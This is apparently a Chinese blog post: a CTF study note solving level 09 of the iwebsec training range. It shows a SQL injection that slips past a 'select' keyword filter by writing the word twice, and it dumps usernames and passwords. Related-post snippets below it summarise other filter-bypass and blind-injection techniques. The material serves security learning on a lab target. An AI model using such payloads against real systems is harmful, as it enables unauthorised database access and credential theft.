CTF学习笔记11：iwebsec-SQL注入漏洞-09-双写关键字绕过

SQL注入技巧详解
最新推荐文章于 2025-07-28 15:51:45 发布
原创 最新推荐文章于 2025-07-28 15:51:45 发布 · 968 阅读 · 0 ·
CC 4.0 BY-SA版权
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
文章标签：

#sql #安全 #web安全

本文介绍了一种绕过SQL关键字过滤的方法，通过使用union和group_concat等函数进行数据查询，实现对特定字段如用户名和密码的获取。此技巧适用于对安全防御措施较弱的Web应用程序进行渗透测试。

一、解题过程

感觉题目越来越简单，只需绕过select关键字过滤即可

?id=-1 union selselectect 1,2,group_concat(concat(username,0x7e,password)) from iwebsec.users

在这里插入图片描述

iwebsec--sql注入漏洞
追求卓越，技术流~
11-20 1975
sql注入漏洞
SQL注入的绕过手段
weixin_46709219的博客
12-27 3035
一）SQL注入绕过手段 1）大小写绕过 2）双写绕过 3）编码绕过 4）内联注释绕过 ———————————————————————————————————————————————————————— 一）SQL注入绕过手段 1）大小写绕过 如果程序中设置了过滤关键字但是过滤过程中并没有对关键字组成进行深入分析过滤，导致只是对整体进行过滤。例如：and 过滤，也就是说只是发现关键字出现并不会对关键字处理，对于这种方式的过滤我们可以采用“ 大小写绕过 ”这种过滤措施，例如：And 1=1 ，OrdEr
iwebsec靶场 SQL注入漏洞通关笔记9- 双写关键字绕过
mooyuan的网络安全博客
11-29 1745
打开靶场第09关，http://192.168.71.151/sqli/09.php?id=1如下所示​SQL注入主要分析几个内容（1）闭合方式是什么？iwebsec的第9关关卡为数字型，无闭合（2）注入类别是什么？这部分是普通的数字型注入，使用union法即可注入成功（3）是否过滤了关键字？很明显通过源码，iwebsec的第09关卡过滤了不区分大小写select关键字。
SQL注入漏洞 | iwebsec
weixin_52116519的博客
11-28 911
这种网站内部直接发送的Sql请求一般不会有危险，但实际情况是很多时候需要结合用户的输入数据动态构造 Sql 语句，如果用户输入的数据被构造成恶意 Sql 代码，Web 应用又未对动态构造的 Sql 语句使用的参数进行审查，则会带来意想不到的危险。Sql 注入攻击是通过将恶意的 Sql 查询或添加语句插入到应用的输入参数中，再在后台 Sql 服务器上解析执行进行的攻击，它目前黑客对数据库进行攻击的最常用手段之一。可能是云服务器的安全组没开，确实没开，哈哈哈哈。简单来说就是，后台服务器接收用户输入的参数后，
iwebsec靶场SQL注入漏洞-字符型注入
qq_56041380的博客
03-23 778
字符型注入就是注入点的数据类型是字符型。字符型注入与数字型注入的区别就是字符型注入要用一对单引号引起来。
CTF-Web学习笔记：SQL注入篇
Deng7326的博客
07-28 1217
本文系统梳理了CTF竞赛中SQL注入的核心原理与实战技巧。首先介绍了SQL注入的基础概念和成因，即用户输入数据被直接拼接到SQL语句中执行。其次分类解析了CTF常见的注入类型，包括数字/字符串型注入、报错/盲注/联合查询等攻击方式。文章重点分享了实战经验：如何判断注入点、确定数据库类型、使用工具辅助及绕过WAF防御。最后通过一道报错注入题目，详细演示了从数据库名获取到最终拿Flag的完整解题流程，并推荐了SQLiLabs等练习平台。
网络安全CTF Web实战练习：常见Web漏洞利用与防护技巧详解-SQL注入、脚本编写及数据包分析
最新发布
08-18
使用场景及目标：①了解并掌握常见的Web攻击手法，如SQL注入、代码审计、文件上传漏洞等；②学习如何使用各类工具辅助解题，如Burpsuite、Wireshark、sqlmap等；③培养细致入微的观察能力和逻辑推理能力，提高解决...
CTF---Web---SQL注入---03---联合注入+关键字过滤
qq_22160557的博客
07-29 1068
文章目录前言一、题目描述二、解题步骤1、回显判断注入方式2、尝试列数3、寻找注入点4、尝试注入（库，表，列，字段）三、总结 前言 题目分类： CTF—Web—SQL注入—03—联合注入+关键字过滤 一、题目描述 题目：SQL注入 链接：http://192.168.87.175 二、解题步骤 1、回显判断注入方式 Step1： http://192.168.87.175/viewld.do?ldid=2，回显正常。有内容 Step2： http://192.168.87.175/viewld.do?ld
总结笔记-CTF-SQL注入
qq_39283174的博客
12-22 588
关于SQL注入的相关CTF笔记
iwebsec靶场 SQL注入漏洞通关笔记12-等价函数替换绕过
mooyuan的网络安全博客
12-02 1225
总结 SQL注入主要分析几个内容 （1）闭合方式是什么？iwebsec的第12关关卡为数字型，无闭合 （2）注入类别是什么？这部分是普通的数字型注入，使用union法即可注入成功 （3）是否过滤了关键字？很明显通过源码，iwebsec的第12关卡过滤了等号关键字 了解了如上信息就可以针对性进行SQL渗透，使用sqlmap工具渗透更是事半功倍，以上就是今天要讲的等号过滤绕过的SQL注入渗透内容，初学者建议按部就班先使用手动注入练习，再进行sqlmap渗透。
CTF学习笔记6：iwebsec-SQL注入漏洞-04-sleep注入
lvx++的博客
01-22 709
目录一、解题过程（一）观察页面（二）编写脚本逐项获取数据1.获取数据库名的长度（可不做）2.获取数据库名（可不做）3.获取表名4.获取users表的列名5.获取password列的数据源码分析（一）php源码关键脚本 一、解题过程 （一）观察页面 发现不论输入的payload正确与否，页面输出是一样的，所以不能bool注入 （二）编写脚本逐项获取数据 1.获取数据库名的长度（可不做） #encoding=utf-8 import requests import os import time url="ht
CTF学习笔记2：iwebsec-SQL注入漏洞-01-数字型注入
lvx++的博客
01-22 4009
提示：本篇为最简单的SQL注入入门，是在自己本地虚拟机的靶场上练习，为的是了解安全防御技术。切勿在未经授权的情况下，测试或攻击他人网站或系统，否则将承担法律责任！请学习《网络安全法》。 一、解题过程 用到的工具：Chrome浏览器和HackerBar插件 （一）题目概览 1.题目路径 2.HackerBar使用 3.测试结果集列数为3列 ?id=1 order by 4 4.给id传递-1再用union select查询自己想要的数据 （1）取得当前应用的数据库名 ?id=-1 union sele
sql注入绕过方法
qq_53030229的博客
08-26 3453
一、大小写绕过 有时候，在我们执行sql注入过程中，代码对有些关键词进行过滤和替换，这时候我们可以利用更换大小写方式绕过，sql语句可以识别大小写。 执行下来效果还是一样的。 二、双写绕过 在我们进行注入时候，有时候会遇到把关键词进行直接替换为空或者删除的注入，这时候，相当于你的注入语句就直接失效了，这个时候我们就可以使用双写绕过。 三、编码绕过 使用URL编码对输入语句进行加密，然后服务器端会对其进行解密。 四、内联注释绕过 在mysql中，内联注释绕过的语句会被当做sql语句执行。 替换位置也
iwebsec靶场（sql注入）
果粒程
02-24 1539
iwebsec靶场（sql注入）
CTF学习笔记5：iwebsec-SQL注入漏洞-03-bool注入
lvx++的博客
01-22 1494
一、解题过程 （一）观察payload与结果 1.SQL执行有结果，就输出welcome to iwebsec!!! 2.否则输出1 （二）编写脚本逐项获取信息 1.获取数据库名字符串长度 先要为python安装requests包 pip install requests python代码如下： #encoding=utf-8 import requests import os url="http://192.168.182.130:8001/sqli/03.php" def DbLen():
iwebsec靶场SQL注入-宽字节注入
qq_56041380的博客
03-28 736
开发者为了防止出现SQL注入攻击，将用户输入的数据用addslashes等函数进行过滤。addslashes等函数默认对单引号等字符进行转义，这样就可以避免注入。宽字节注入产生的原因是MYSQL在使用GBK编码的时候如果第一个字符的ASCII码大于128，会认为前面两个字符是汉字，会将前两个字符拼接为汉字，这样就可以将SQL语句闭合，造成宽字节注入。
iwebsec靶场SQL注入-updatexml注入
qq_56041380的博客
03-27 599
updatexml注入也是一种报错注入，它利用updatexml函数中的第二个参数Xpath_string的报错进行注入。Xpath_string是XML文档路径，格式是/XXX/XXX/XXX/,如果格式不正确就会报错。
iwebsec sql注入篇(详细过程，完结)
qq_60829702的博客
03-19 3775
iwebsec靶场，SQL注入篇，详细过程，全篇完结
iwebsec靶场通关sql注入详解
m0_51090949的博客
07-12 1888
iwebsec靶场，sql注入通关，详细教程。
ctf杂项题：easy-nbt
资源摘要信息:"CTF杂项题：easy-nbt" 知识点： 1. CTF（Capture The Flag）介绍 CTF是一种信息安全竞赛，通常包括多种类型的问题和挑战，目的是考验参赛者的各种技能，如逆向工程、密码学、二进制分析、Web安全、...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值